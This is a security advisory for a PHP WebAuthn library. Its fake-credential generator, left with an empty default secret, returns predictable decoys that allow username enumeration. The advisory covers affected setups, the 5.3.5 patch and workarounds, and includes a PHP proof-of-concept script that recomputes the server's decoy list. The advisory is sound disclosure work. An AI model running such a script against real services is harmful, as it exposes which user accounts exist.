Webauthn: SimpleFakeCredentialGenerator with an empty secret produces predictable fake credentials, weakening username enumeration protection

Impact

Webauthn\SimpleFakeCredentialGenerator is the library-provided default implementation of the FakeCredentialGenerator interface. It returns a stable list of decoy PublicKeyCredentialDescriptor objects for a given username so that an assertion request for an unknown user looks the same as a request for a real one, which mitigates username enumeration.

The generator derives the whole decoy list from a single seed:

$seed = hash('sha256', $username . $this->secret, true);

When it is constructed without a secret (its constructor default, $secret = ''), the seed depends only on the username. The username is attacker-chosen and the algorithm is public, so an unauthenticated requester can recompute the exact, byte-for-byte decoy list the server returns for any username. The attacker then compares a probed username's response against the locally computed list and decides whether the account is real or fake, which is precisely the distinction the mechanism is meant to hide.

With any non-empty secret the seed becomes a value the attacker cannot evaluate and the mitigation holds. The defect is the empty default, not the algorithm.

Affected configurations

• Direct use of the library (web-auth/webauthn-lib) where SimpleFakeCredentialGenerator is instantiated without a secret.
• Any integration that wires the generator with an empty secret.

The Symfony bundle is not affected with its default configuration: it injects the application secret (kernel.secret) into the generator, so out-of-the-box deployments already use a non-empty secret. Deployments that set an empty kernel.secret are affected.

Patches

Fixed in 5.3.5. The generator now emits a deprecation when it is constructed without a secret, which surfaces the misconfiguration in logs and the Symfony profiler. A non-empty secret will be required in 6.0.0. The recommended remediation is to always provide a non-empty, deployment-specific secret.

Workarounds

Construct SimpleFakeCredentialGenerator with a non-empty secret value (for example the application secret), or provide a custom FakeCredentialGenerator implementation seeded with a secret.

Proof of concept

<?php
declare(strict_types=1);

require $src . '/PublicKeyCredentialDescriptor.php';
require $src . '/FakeCredentialGenerator.php';
require $src . '/SimpleFakeCredentialGenerator.php';

use Webauthn\PublicKeyCredentialDescriptor;
use Webauthn\SimpleFakeCredentialGenerator;

$username = 'alice@example.com';

// 1. The "server" runs the library default wiring (cache=null, secret='').
$server = new SimpleFakeCredentialGenerator();
$refl = new ReflectionMethod(SimpleFakeCredentialGenerator::class, 'generateCredentials');
$refl->setAccessible(true);
$serverDescriptors = $refl->invoke($server, $username);

// 2. The "attacker" recomputes the same algorithm, knowing only the username.
function attackerRecompute(string $username): array {
    $transports = [
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_USB,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_NFC,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_BLE,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_HYBRID,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_INTERNAL,
        PublicKeyCredentialDescriptor::AUTHENTICATOR_TRANSPORT_SMART_CARD,
    ];
    $seed = hash('sha256', $username . '', true); // empty secret
    $count = (ord($seed[0]) % 3) + 1;
    $out = [];
    for ($i = 0; $i < $count; $i++) {
        $credSeed = hash('sha256', $seed . pack('N', $i), true);
        $transportCount = (ord($credSeed[0]) % 2) + 1;
        $sel = [];
        for ($j = 0; $j < $transportCount; $j++) {
            $sel[] = $transports[ord($credSeed[$j + 1]) % count($transports)];
        }
        $sel = array_values(array_unique($sel));
        $out[] = ['type' => PublicKeyCredentialDescriptor::CREDENTIAL_TYPE_PUBLIC_KEY,
                  'id' => hash('sha256', $credSeed . $username), 'transports' => $sel];
    }
    return $out;
}

// 3. The two lists match byte-for-byte, so the decoy is reproducible.
//    The same call with a non-empty secret diverges, confirming the defect
//    is the default value rather than the algorithm.

With the default empty secret the library's fake-credential list is bit-for-bit reproducible from the public username alone, which defeats the username enumeration mitigation. The same call with a non-empty secret diverges.

Severity

Low. The decoy responses are still well-formed and the issue only re-enables username enumeration, and only when the generator is used without a secret (which is not the case for default Symfony bundle deployments).

Credits

Found during an internal security audit of the project.